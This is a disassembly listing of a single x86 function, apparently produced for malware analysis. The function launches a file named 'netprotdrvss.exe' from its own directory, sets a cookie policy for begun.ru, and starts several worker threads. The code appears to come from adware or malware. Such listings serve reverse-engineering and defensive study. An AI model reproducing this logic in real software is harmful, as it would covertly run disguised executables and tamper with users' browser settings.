Function at 0x40b14b
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2060
call fcn.0040d670
push ebx
push esi
mov esi, dword [ebp + 8]
cmp esi, 3
push edi
jne 0x40b16a
xor eax, eax
jmp 0x40b37e
test esi, 0x20000
je 0x40b184
mov ebx, dword [0x415024]
mov edi, 0x423190
call fcn.00407a4f
jmp 0x40b18b
xor eax, eax
call fcn.00407a0b
mov dword [ebp - 0xc], esi
and dword [ebp - 0xc], 8
push 0
pop ebx
mov edi, 0x420e48
je 0x40b215
cmp dword [0x415050], 0x17d
jle 0x40b215
cmp dword [0x420cac], ebx
jne 0x40b215
mov esi, 0x1000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40b1cb
mov edx, edi
call fcn.00406d54
jmp 0x40b1d3
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x205c]
push eax
mov edx, edi
call fcn.0040550e
pop ecx
mov ecx, str._netprotdrvss.exe
lea eax, [ebp - 0x205c]
call fcn.004054ea
push ebx
push ebx
push 1
push dword [0x420e40]
push ebx
push eax
push ebx
push dword [0x4243d8]
call fcn.0040253c
add esp, 0x20
test eax, eax
jne 0x40b163
test word [ebp + 8], 0x100
je 0x40b22c
push 5
push str.begun.ru
call dword [sym.imp.WININET.dll_InternetSetPerSiteCookieDecisionW]
jmp 0x40b232
call dword [sym.imp.WININET.dll_InternetClearAllPerSiteCookieDecisions]
call fcn.004032ad
test eax, eax
jne 0x40b24e
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xa
call fcn.0040a89c
add esp, 0xc
xor esi, esi
mov dword [ebp - 8], 1
mov dword [ebp + 8], 0x41ab54
mov eax, dword [ebp + 8]
cmp dword [eax], ebx
je 0x40b283
mov ecx, dword [ebp - 8]
push ebx
push ebx
lea eax, [ebp + esi*4 - 0x5c]
push eax
push fcn.0040b0d8
push ebx
push ebx
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + esi*4 - 0x34], eax
inc esi
inc dword [ebp - 8]
add dword [ebp + 8], 0x144
cmp dword [ebp + 8], 0x41b6b8
jl 0x40b25e
cmp dword [0x41aa10], ebx
jne 0x40b2a2
cmp esi, ebx
je 0x40b2d6
push 4
push ebx
push 0xc
call fcn.0040a89c
add esp, 0xc
cmp dword [0x41aa10], ebx
je 0x40b2c3
lea eax, [ebp + 8]
push eax
mov dword [ebp + 8], ebx
call fcn.0040b0d8
cmp esi, ebx
je 0x40b2d6
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp esi, ebx
mov dword [ebp + 8], ebx
jle 0x40b2f2
mov eax, dword [ebp + 8]
push dword [ebp + eax*4 - 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp + 8]
cmp dword [ebp + 8], esi
jl 0x40b2dd
call fcn.0040a7df
call dword [sym.imp.WININET.dll_InternetClearAllPerSiteCookieDecisions]
cmp dword [ebp - 0xc], ebx
je 0x40b37b
cmp dword [0x415050], 0x17d
jle 0x40b37b
cmp dword [0x420cac], ebx
je 0x40b37b
mov esi, 0x1000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40b331
mov edx, edi
call fcn.00406d54
jmp 0x40b339
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x205c]
push eax
mov edx, edi
call fcn.0040550e
pop ecx
mov ecx, str._netprotdrvss.exe
lea eax, [ebp - 0x205c]
call fcn.004054ea
push ebx
push ebx
push 1
push dword [0x420e40]
push ebx
push eax
push ebx
push dword [0x4243d8]
call fcn.0040253c
add esp, 0x20
test eax, eax
jne 0x40b163
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret